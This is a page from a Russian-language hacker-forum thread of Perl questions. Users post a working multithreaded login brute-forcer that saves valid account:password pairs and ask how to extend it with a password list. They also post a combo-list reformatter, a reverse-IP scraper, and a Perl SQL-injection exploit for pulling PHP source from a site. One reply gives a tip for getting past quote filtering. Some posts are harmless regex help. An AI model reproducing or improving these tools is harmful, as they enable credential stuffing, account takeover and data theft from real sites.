[Perl] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. krypt3r

    krypt3r Elder - Старейшина

    Joined:
    27 Apr 2007
    Messages:
    1,507
    Likes Received:
    389
    Reputations:
    101
    Что значит не работает? Если выводит ошибку, то дайте ее нам. Еще желательно заюзать use warnings; после use strict;
    Есть у меня подозрение, что с фигурными скобками у вас не все ладно
     
  2. yaoleg

    yaoleg New Member

    Joined:
    22 Mar 2009
    Messages:
    8
    Likes Received:
    0
    Reputations:
    0
    Ошибка такая: Missing right curly or square bracket at script.pl line 67, at end of line syntax error at script.pl line 67, at EOF Execution of script.pl aborted due to compilation errors.
     
  3. krypt3r

    krypt3r Elder - Старейшина

    Joined:
    27 Apr 2007
    Messages:
    1,507
    Likes Received:
    389
    Reputations:
    101
    Я угадал =) проверьте кол-во фигурных скобок и правильность их расмещения. По-моему, вот здесь
    Code:
        $thr[$i] = threads->create (\&brute, $login_username, $nowpass);
    
        $i = ($i + 1) % 5; #Количество потоков  (5)
      }
    }
    }
    
    последняя лишняя
     
  4. yaoleg

    yaoleg New Member

    Joined:
    22 Mar 2009
    Messages:
    8
    Likes Received:
    0
    Reputations:
    0
    Эта ошибка после 5-го пароля!
    Starting brute...
    [-] BAD qwerty
    [-] BAD 123456
    [-] BAD 555555
    [-] BAD 111111
    [-] BAD 1234
    Can`t call method "join" on an undefined value at script.pl line 29.
     
  5. KNEII

    KNEII New Member

    Joined:
    7 Jun 2009
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    Имеется скрипт, хотелось бы сделать так чтоб пароли брались также как и логины из файла txt. Сам пытался сделать но не получается.

    Сам скрипт:
    Code:
    #! /usr/bin/perl -w
    use IO::Socket;
    use threads;
    use threads::shared;
    use Fcntl ':flock';
    
    $pwd	 =  shift || '123456'    	; #Пароль
    $threads =  shift || 20		        ; #Кол-во потоков
    $ml      =  shift || 'acc.txt'		; #Список акков
    $fname   = 'good.txt'      		; #Валидные
    
    
    my $i : shared = 0;
    my @trl;
    $| =1;
    
    print "Loading...\n";
    
    open (ACS, "<$ml") || die("Could not open acc list file!");
    my @acc : shared = <ACS>;
    chomp(@acc);
    close(ACS);
    
    $size = scalar @acc;
    print  "Loaded: ".$size." accs.\n";
    
    for(0..$threads) {$trl[$_] = threads->create(\&Brut, $_);}
    for(@trl) { $_->join; }
    
    sub Brut
    {
    	while(@acc)
    	{	
    		{lock(@acc);$acc = shift @acc;}
    		my $sock = sock();
    		
    		my $data =
    		"-----------------------------18847261322183\n".
    		"Content-Disposition: form-data; name=\"username\"\n\n".
    		"$acc\n".
    		"-----------------------------18847261322183\n".
    		"Content-Disposition: form-data; name=\"password\"\n\n".
    		"$pwd\n".
    		"-----------------------------18847261322183\n".
    		"Content-Disposition: form-data; name=\"login\"\n\n".
    		"Submit\n".
    		"-----------------------------18847261322183--\n\n";
    		
    		my $re = 
    		"POST HTTP/1.1\n".
    		"Host: \n".
    		"User-Agent: Mozilla/4.0\n".
    		"Connection: close\n".
    		"Referer: \n".
    		"Content-Type: multipart/form-data; boundary=---------------------------18847261322183\n".
    		"Content-Length: ".length($data)."\n\n".$data;
    	
    		print $sock $re; 
    		read($sock,my $answ,10000);
    		
    		if($answ =~ /cdb_auth/)
    			{
    				print "[+] $acc\n";
    				open(FILE, ">>$fname") || die("Could not open $fname\n");
    				flock(FILE, LOCK_EX);
    				print FILE "$acc:$pwd\n";
    				flock(FILE, LOCK_UN);
    				close(FILE);
    			}
    		{lock($i);$i++;}
    		print "< ".sprintf("%.2f", ($i/$size)*100)."% >\r";
    		close($sock);
    	}
    }
    
    sub sock {
    my $sock;
    do {
    	$sock = new IO::Socket::INET 
    		(
    		PeerAddr => '',
       		PeerPort => 80, 
       		PeerProto => 'tcp', 
       		TimeOut => 10
    		) or print "Can't connect\n";
    	} while (!$sock);
    return $sock;
    }
    
    Точто сам сделал:
    Code:
    $pwd	 =  shift || 'pass.txt'    	; #Пароль
    $threads =  shift || 20		        ; #Кол-во потоков
    $ml      =  shift || 'acc.txt'		; #Список акков
    $fname   = 'good.txt'      		; #Валидные
    
    
    my $i : shared = 0;
    my @trl;
    $| =1;
    
    print "Loading...\n";
    
    open (ACS, "<$ml") || die("Could not open acc list file!");
    open (PWD, "<$pwd") || die("Could not open pass list file!");
    my @acc : shared = <ACS>;
    my @pwd : shared = <PWD>;
    chomp(@acc);
    chomp(@pwd);
    close(ACS);
    close(PWD);
    
    
    $size = scalar @acc;
    $size2 = scalar @pwd;
    print  "Loaded: ".$size." accs.\n";
    print  "Loaded: ".$size2." pwds.\n";
    
    for(0..$threads) {$trl[$_] = threads->create(\&Brut, $_);}
    for(@trl) { $_->join; }
    
    Дальше не могу сообразить что делать.
     
  6. kopele

    kopele New Member

    Joined:
    19 Nov 2008
    Messages:
    10
    Likes Received:
    3
    Reputations:
    0
    Script is edit now work.

    Reverse Place From Pass:Email To Email:pass
    ---------------------------------------
    Code:
    #!/usr/bin/perl  -w
    
    print "Select Option:\n\n";
    print "[1]: Reverse Place [ Pass:Email To Email:Pass ]\n\n";
    print "Option:";
    
    $option = <STDIN>;
    chomp($option);
    print "Specify  Input  File: ";
    $input_filename = <STDIN>;
    chomp($input_filename);
    open(INFILE, $input_filename);
    print "Specify  Output File: ";
    $output_filename = <STDIN>;
    chomp($output_filename);
    open(OUTFILE, '>' . $output_filename);
    if ($option == 1) {
    while ($line = <INFILE>) {
    $_ = $line;
    /(.+?):(.+?)\n/;
    $a = $2;
    $b = $1;
    $a =~ s/^\s+//;
    $a =~ s/\s+$//;
    $b =~ s/^\s+//;
    $b =~ s/\s+$//;
    print OUTFILE $a, ':', $b, "\n"; 
    }
    }
    
    Special tanks to Kaimi and int3
     
    #1106 kopele, 15 Jun 2009
    Last edited: 27 Jun 2009
  7. Kaimi

    Kaimi Well-Known Member

    Joined:
    23 Aug 2007
    Messages:
    1,732
    Likes Received:
    811
    Reputations:
    231
    Code:
    #!/usr/bin/perl -w
    
    print<<HERE;
    Select Option:
    [1]: Reverse Place [ Pass:Email To Email:Pass ]
    HERE
    
    chomp(my $opt = <>);
    
    if($opt == 1)
    	{
    	 print "Specify input file: ";
    	 chomp(my $in = <>);
    	 print "Specify output file: ";
    	 chomp(my $out = <>);
    	 
    	 open A, "<", $in || die $in."-".$!;
    	 open B, ">>", $out || die $out."-".$!;
    	 
    	 while(<A>)
    		{
    		 $_ =~ /(.+?):(.+?)\n/;
    		 print B $2.":".$1."\n" if defined $1 && defined $2;
    		}
    	 
    	 close A;
    	 close B;
    	}
    else
    	{
    	 print "No option has been specified\n";
    	}
    
     
    _________________________
    1 person likes this.
  8. kopele

    kopele New Member

    Joined:
    19 Nov 2008
    Messages:
    10
    Likes Received:
    3
    Reputations:
    0
    Thanks Kaimi,
    can some 1 fix my script
     
    #1108 kopele, 15 Jun 2009
    Last edited: 15 Jun 2009
  9. GarmiN

    GarmiN New Member

    Joined:
    12 Jun 2009
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    Извените но я сосвсем тупой и непонимаю!
    Поэтому задам вопрос соответственно моей тупости!
    Я видел на одном форуме как с перл сделали античит для кс 1.6
    Неподскажите как сделать?
    Думаю мне помогут
     
  10. 4y4o

    4y4o Elder - Старейшина

    Joined:
    22 Jan 2007
    Messages:
    40
    Likes Received:
    2
    Reputations:
    0
    тест

    1. Выбрать из таблицы базы данных MySQL случайную запись несколькими способами.
    Есть одно важное ограничение – диапазон id НЕ является непрерывной числовой последовательностью!
    Структура таблицы:
    CREATE TABLE `rand_test` (
    `id` int(11) NOT NULL auto_increment,
    `name` varchar(50) NOT NULL default '',
    `ispub` tinyint(1) NOT NULL default '1',
    PRIMARY KEY (`id`)
    ) TYPE=MyISAM AUTO_INCREMENT=1 ;

    Пояснения:
    id - первичный ключ
    name - информация ключа
    ispub - признак публикации (1- запись участвует в выборке, 0-нет)

    2. Вывести древовидную структуру, основываясь на данных из таблицы MySQL.
    Скрипт должен отформатировать текст используя шаблон, хранящийся отдельно (Условие обязательно).
    Структура таблицы:
    CREATE TABLE `tree` (
    `id` int(11) NOT NULL auto_increment,
    `pid` int(11) NOT NULL default '0',
    `name` varchar(50) NOT NULL default '',
    `ispub` tinyint(1) NOT NULL default '1',
    PRIMARY KEY (`id`),
    KEY `pid` (`pid`)
    ) TYPE=MyISAM AUTO_INCREMENT=1 ;
    Пояснения:
    id - первичный ключ
    pid - ключ «родительского» элемента (0- для корневого)
    name - информация ключа
    ispub - признак публикации (1- запись учитывается, 0-запись не учитывается)
    Шаблон:
    Для упрощения задачи шаблоном принимается асоциативный массив, используемый скриптом и хранящий описанием форматирования вывода дерева.
    $template=array(
    'body' =>'<ul>{body}</ul>',
    'node' =>'<li>{node} <ul>{sub}</ul>',
    'item' =>'<li>{item}',
    );

    В итоге, вы должны получить:
    1. PHP скрипт, выводяший древовидную структуру из БД
    2. Иметь возможность полностью изменить форматирование текста, не изменяя кода самого скрипта.




    Нужно очень быстро решить задание. Стукните в асю 394820553 дам денег
     
  11. Krist_ALL

    Krist_ALL Banned

    Joined:
    14 Jan 2009
    Messages:
    436
    Likes Received:
    193
    Reputations:
    24
    $a = explode(':',"123 67 123 342132 12312 123 3bitch2:hello:hello5:4234");
    $b = str_replace(' ','',$a[0]);
    echo $b;
     
    1 person likes this.
  12. FireFenix

    FireFenix Elder - Старейшина

    Joined:
    3 Jun 2009
    Messages:
    390
    Likes Received:
    115
    Reputations:
    23
    Это тема Perl, а не PHP
    В Perl нету explode, а есть split

    Регулярка будет вроде - $text =~ s/ //g;
     
    #1112 FireFenix, 21 Jun 2009
    Last edited: 21 Jun 2009
  13. Kaimi

    Kaimi Well-Known Member

    Joined:
    23 Aug 2007
    Messages:
    1,732
    Likes Received:
    811
    Reputations:
    231
    Попробуй так
    Code:
    open BLAH, '<', 'file.txt' or die 'can't read';
    while(<BLAH>)
    	{
    	 chomp;
    	 my ($a, $b) = split /:/, $_;
    	 $a =~ s/\D//g; $b =~ s/ //g;
    	 print $a.":".$b."\n";
    	}
    close BLAH;
    
     
    _________________________
    1 person likes this.
  14. demond

    demond Member

    Joined:
    5 Nov 2008
    Messages:
    101
    Likes Received:
    22
    Reputations:
    5
    Если надо удалить все пробелы, то регулярное выражение $b =~ s/ //g;
    должно выглядеть так:
    Code:
    $b =~ s/\s+//g;
     
  15. Kaimi

    Kaimi Well-Known Member

    Joined:
    23 Aug 2007
    Messages:
    1,732
    Likes Received:
    811
    Reputations:
    231
    Почему?
     
    _________________________
  16. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    насколько я помню то в \s помимо пробела ещё входят символ табуляции, перевода строки и тп символы
    так что примре Kaimi наиболее правильный
    ЗЫ
    \s
    Matches any whitespace character; this is equivalent to the class [ \t\n\r\f\v].
     
  17. demond

    demond Member

    Joined:
    5 Nov 2008
    Messages:
    101
    Likes Received:
    22
    Reputations:
    5
    Буду иметь в виду. :)
     
  18. kopele

    kopele New Member

    Joined:
    19 Nov 2008
    Messages:
    10
    Likes Received:
    3
    Reputations:
    0
    Reverse IP help.
    I search for good reverse ip that
    ask for insert ip then scan and make output file
    whit the ip name and check for host too.

    Insert IP:95.95.95.95

    95.95.95.95.txt and inside

    --------------------------
    Report for:95.95.95.95

    Hosting:blabla

    1.http://www.xxx.com
    2.http://www.xxx.com
    etc.etc
    --------------------------
    Some site for reverse

    http://www.ip-adress.com/reverse_ip/209.xx.xx.xx
    http://www.sitedossier.com/ip/87.xx.xx.xx
    http://www.robtex.com/ip/
    http://wservices.ru/reverseip.php

    and 1 old script

    Code:
    #!/usr/bin/perl
    
    use LWP::UserAgent;
    while (!$ARGV[0]) {
    print "Usage: $0 IP \n"; exit;}
    $a = 1;
    $ua = new LWP::UserAgent(timeout => 15, agent => "Mozilla/5.0 (x11; u; linux i686; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7)" );
    
    $req = $ua->get('http://whois.webhosting.info/' . $ARGV[0] . '?pi=1&ob=SLD&oo=ASC');
    if (!($req->is_success)) {
    
    die $req->status_line; }
    else {
    $output = $req->as_string;
    until ($output =~ /(.*?)IP\sDetails\s-\sN\/A\./) {
    $req = $ua->get('http://whois.webhosting.info/' . $ARGV[0] . '?pi=' . $a . '&ob=SLD&oo=ASC');
    if (!($req->is_success)) { die $req->status_line; }
    $output = $req->as_string;
    
    while ($output =~ /<td><a\shref=\"http:\/\/whois.webhosting.info\/(.*?)\">/g){
    my($crap,$yes)=split(/info\/(.*?)\.\"\>/,$&);
    print "$yes\n";
    }
    sleep 5;
    $a++;
    }
    print "Done!\n";
    }
    
    Thanks in advance.
     
    #1118 kopele, 29 Jun 2009
    Last edited: 15 Jul 2009
  19. incbot

    incbot New Member

    Joined:
    30 Jun 2009
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    Здраствуйте Не осилил всю ветку может где и поднималось. В общем есть задачка написать сплойт по вытаскиванию в познавательных целях php исходников с одного сайта через внедрение запроса к МySQL (используя обнаруженную SQL - injection и благоприятные права на чтение файлов у пользователя БД) Ручками я их уже повытягивал, используя InetCrack, но ввиду большого количества файлов столкнулся с большим количеством рутинных операций. Попробывал написать perl скрипт но столкнулся со сложностями. Дело в том, что для успешной SQL-injection используется обратная кавычка (см переменную sql_inj_str после param) Переменная успешно создается с обратным апострофом в теле, но вот серверу она в качестве контента передается не правильно(судя по ответу как обычная кавычка, которая фильтруется или я чего-то не догоняю) Я не большой специалист в PERLе так что помогите кто чем может :) Посмотрите пожалуйста код, может будут какие-то мнения?

    #!/usr/bin/perl
    # подключение библиотек
    use strict;
    use LWP;
    use HTTP::Cookies;

    # Путь к сайту и "ядовитый" запрос
    my $url='test_site.ru';
    my $sql_inj_str='param`+where+name=char(100,100,100)+union+select+0,0,0,0,0,0,0,0,0,123456789,0+;+--+';

    # подготавливаем виртуальный браузер и создаем файл для cookie
    my $browser = LWP::UserAgent->new;
    $browser->cookie_jar( HTTP::Cookies->new('file' => 'cookies','autosave' => 1));

    # отправка запроса
    my $script='/index.php?lang=ru&path=log'; #путь до уязвимого скрипта сервера
    my $response = $browser->post($url.$script,
    Content_Type => 'application/x-www-form-urlencoded',
    Content =>
    [
    nick=>'Test_nick',
    server=>$sql_inj_str,
    ,
    ]
    );
    die "$url error: ", $response->status_line unless $response->is_success;

    # сохраняем страницу ответа в LOG
    open(LOG,'>out_htm.htm');
    print(LOG $sql_inj_str);
    print(LOG $response->content);
    close(LOG);
     
  20. j0ker13

    j0ker13 Elder - Старейшина

    Joined:
    28 Jul 2008
    Messages:
    199
    Likes Received:
    16
    Reputations:
    5
    попробуй вместо кавычки %27
     
Thread Status:
Not open for further replies.